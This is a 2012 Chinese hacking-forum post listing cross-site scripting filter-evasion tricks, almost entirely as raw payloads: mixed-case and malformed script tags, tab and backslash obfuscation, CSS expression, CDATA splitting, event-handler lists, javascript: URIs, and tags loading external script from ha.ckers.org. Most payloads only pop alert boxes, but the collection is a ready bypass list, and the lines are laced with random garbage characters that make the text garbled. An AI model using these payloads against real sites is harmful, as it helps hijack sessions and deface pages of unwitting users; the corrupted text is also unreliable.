找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2279|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1. 改变字符大小写
; _. P( d& I  T) `% `9 F, A& }
, |6 M! Z8 `# d) w( \8 U! N 5 a/ j& \# k9 o% @) `
+ k: S# Y( Z8 c1 q; ~
    <sCript>alert(‘d’)</scRipT>
" w$ N$ T6 k. d3 E/ ?4 A% ~+ d7 `5 G# a! k4 S) z3 N
2. 利用多加一些其它字符来规避Regular Expression的检查& [" H5 I% q- a4 |* m

" @4 ?3 R9 H/ X$ j& \; c4 c8 a    <<script>alert(‘c’)//<</script>
3 m9 e8 b6 m: c) r: [, }
. ~4 P( z3 ]6 |6 ^    <SCRIPT a=">" SRC="t.js"></SCRIPT>
0 m, b1 j6 f, {4 w. h
  C! L5 h  Q5 C. b" {+ ]5 N    <SCRIPT =">" SRC="t.js"></SCRIPT>8 H" H# w  _1 Y0 Z( h
' ^$ {8 S* J' B- `
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>; b; G* X. W2 V" n
% e* I- d2 q7 m) R$ c
    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
( s1 J/ B, D* l% {5 k- k( N
) f1 a" V$ q+ x; l0 R) e    <SCRIPT a=`>` SRC="t.js"></SCRIPT>
) `' s# G: V& g1 ^
' f+ A0 S7 D  Q. O    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>) A, m  j" g( b0 d, w
# W0 [4 d" D* b
3. 以其它扩展名取代.js
& v; N4 d5 Q, g" c( `6 `' T6 M4 Q/ E
8 r/ H* f$ Y7 r    <script src="bad.jpg"></script>
  c5 i- M9 _7 z. W
7 E: p' ^* E! D  \4. 将Javascript写在CSS档里
; k. F4 z$ Y" t: Y* t% T4 L5 L5 b8 z
    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">3 s( k6 A/ ~& ?& t  u

# D* |1 B6 \" n) L! s$ Y       example:0 [2 ~8 f! k3 F% r

! R5 t& e" B7 x          body {* e3 E* h! o& z( t  ~
9 i9 ]/ H' y+ `4 E: C1 W0 A
               background-image: url(‘javascript:alert("XSS");’)
4 p6 X2 U) s% R# Q, w: b- g! @$ f) G) D" d) x$ Z
          }$ h- y) i* s2 j) \1 C7 g

) |8 P( g4 |6 [( o: C4 u5. 在script的tag里加入一些其它字符* d9 o$ T4 {0 _0 ?! G

8 G$ E! y$ j, B1 a    <SCRIPT/SRC="t.js"></SCRIPT>
+ s! ?8 C1 X* K( E' ?. i2 [% f: {  K8 E6 ?& X
    <SCRIPT/anyword SRC="t.js"></SCRIPT>8 I5 v' c; p9 O5 v  B+ ]1 ]. R

  F2 Y( `) U; ^/ ~; u6. 使用tab或是new line来规避
- _: @2 H; `, A" W) Q& E- X- g: A- c& S9 u" G
    <img src="jav ascr ipt:alert(‘XSS3′)">
9 g3 ]" h# p& \. w8 J$ Q
" T- N( b3 `* ~    <img src="jav ascr ipt:alert(‘XSS3′)">/ D  s0 b' T1 }' c: R5 S

6 n; I' ^1 m5 F" M/ T$ U    <IMG SRC="jav ascript:alert(‘XSS’);">
8 D- r% ~2 @% k1 C& [
5 O$ f' w5 O5 O! O. L/ o$ H  t" r         -> tag$ t4 n7 }; }0 y+ b
2 ^- A! U% }, A- J
         -> new line
1 z) x. p% \; ~& f/ j  |
4 w4 O4 Y8 ^% p+ s  [( _7. 使用"\"来规避
) S" S: E& u0 A  p9 E7 ~) j  U5 i" |. i
    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>% z) n  K3 J( z, q
3 A9 ~& b' e/ }7 C# e$ q
    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
, N% N  m5 }$ d! T% _% v) X/ v; L" R( ]; E  ^6 i: g1 u. g+ q
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">& W* v* v+ p8 @) K/ b/ h
, F0 h" [" r/ q5 K8 m) k! K, y
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" |* K0 k% q: u
. W: D% k: B5 z
    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
1 M0 M. y  \0 v- o  R  o/ s
9 s9 X! U6 Q3 u) [3 Z" A1 X8. 使用Hex encode来规避(也可能会把";"拿掉)- V6 q1 r) G" x* e9 B) Z
1 B& W) J8 O- ]$ x" E
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 f/ `& D$ _- D& W# Y  V
4 T! T: @+ _+ u
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));"># m( z  M0 e5 S

- y+ {) M( e$ d+ K$ Z$ |+ S. v$ _    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
4 `: z4 I+ C* r/ j: N+ |% K3 g2 _5 U8 }1 Z8 V
        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">* A5 M: Z2 B( B, e
% P- s- J# b9 w& b/ R7 C
9. script in HTML tag
0 N# M7 u. t# W, [7 o) V: T, N" g6 s
    <body onload=」alert(‘onload’)」>+ H: U6 P4 x; x* f$ {6 t- s

+ t3 Y3 @+ t( {" {* |3 _$ i        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
* K, R  l4 A1 S! V, M( E. w; s% {- ^4 c
10. 在swf里含有xss的code
  Q4 ~; u/ L. G! n+ L* F
! Z4 P' `# V; f& N& X    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>; q& Q* P& U( [9 @- Q+ ~5 S3 N! F- Y/ k
0 }: n& K3 c1 |9 {
11. 利用CDATA将xss的code拆开,再组合起来。
# `  c5 P; \8 U: e* H0 y% b) x6 p4 d# y9 ]- V' C
    <XML ID=I><X><C>$ ?# Q# i: ~" u5 ^

+ T8 B5 _2 L; S; G9 ?" i& x    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>* J0 \! C$ B  p1 h
/ y3 H$ X0 c) V3 p; J5 h; z
    </C></X>
- J3 @  J$ v4 C5 N- J! m$ b. j$ E, h' _) ?
    </xml>
. s$ r; g4 x) |5 x# O/ g" m: h0 a8 i% ]  ?1 B- ?
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>0 N; C8 \3 D; e: L+ |4 H

/ ?$ O4 s7 {/ L, V; O, R' F    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
) j" t. U2 E2 M  i1 M1 q3 L( l9 f- ~" O" ~. _1 b! {, V! ]
    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
' `  x/ v9 P4 R& w% @/ z
% q: \0 @' V( a5 b3 e; H12. 利用HTML+TIME。- P- g- C' ?* [3 Q  O% f

  [9 W2 _2 }2 E! _" ^8 Q    <HTML><BODY>5 `3 P, ]( Z- ^5 W2 z

/ }4 C( U$ M8 P* G4 p2 s    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
" P% E8 d% u, V0 v2 s; ~! w( A' ]$ `1 A, m2 G1 K! n$ }
    <?import namespace="t" implementation="#default#time2">
4 I9 z6 L' t* h) g: q4 L% q
. |% G! H8 A. C    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
8 i/ X! x, ?/ @$ r( x
1 U6 |! v# i1 H7 l    </BODY></HTML>
# L* m0 z, x' O8 w& O+ M
$ F  B: p+ R( q) Q  L8 R% Q( k13. 透过META写入Cookie。0 ]1 T  _. D. [/ e

+ f! J: t# t- c5 \    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">1 `. Y7 e. X" ]( d, @5 b

, Q' }; x( C! {14. javascript in src , href , url. y) [8 e" O  z6 i! {+ @
" \9 {' _* S( V+ W3 H
    <IFRAME SRC=javascript:alert(’13′)></IFRAME>. B7 j- d- ?' [$ A# C

) R4 U7 [' P- d$ {    <img src="javascript:alert(‘XSS3′)">4 Q2 ~, a, r" a2 @8 ?

# `+ h5 U( A  D8 S& Q<IMG DYNSRC="javascript:alert(‘XSS20′)">
+ E9 m, I9 I0 P( i2 D9 K/ y8 K8 Z: d
    <IMG LOWSRC="javascript:alert(‘XSS21′)">
' S$ `& r' S! l9 l* ?! Q
& [4 w' a% r5 k    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
" x) C" ~2 l! o: ~; F4 x) c9 m" R) I+ @. Z6 b9 D6 r
    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
# U. g0 W- T, M! B- x9 u- O1 G* s; ?6 X( I9 g7 b8 s( C
    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">1 s* X7 U- `' Z( J# p

$ C  U5 q+ |  b8 |, S& v- g    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">2 X! I1 m" o0 v: ^2 ]; S

  C0 o( g: d8 }- H  g2 N    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}; _2 R4 a$ m' l# \3 e0 O& ]

! w3 ~1 Z* v. J. x  A4 g  u    </STYLE><A CLASS=XSS></A>
/ D) [" E; y) X/ o: W0 t
8 F# E* f$ Z' t6 w% A& ~    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>% \# y5 T% }) n9 k0 ?: N

: O' P( q# C# G6 }. N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表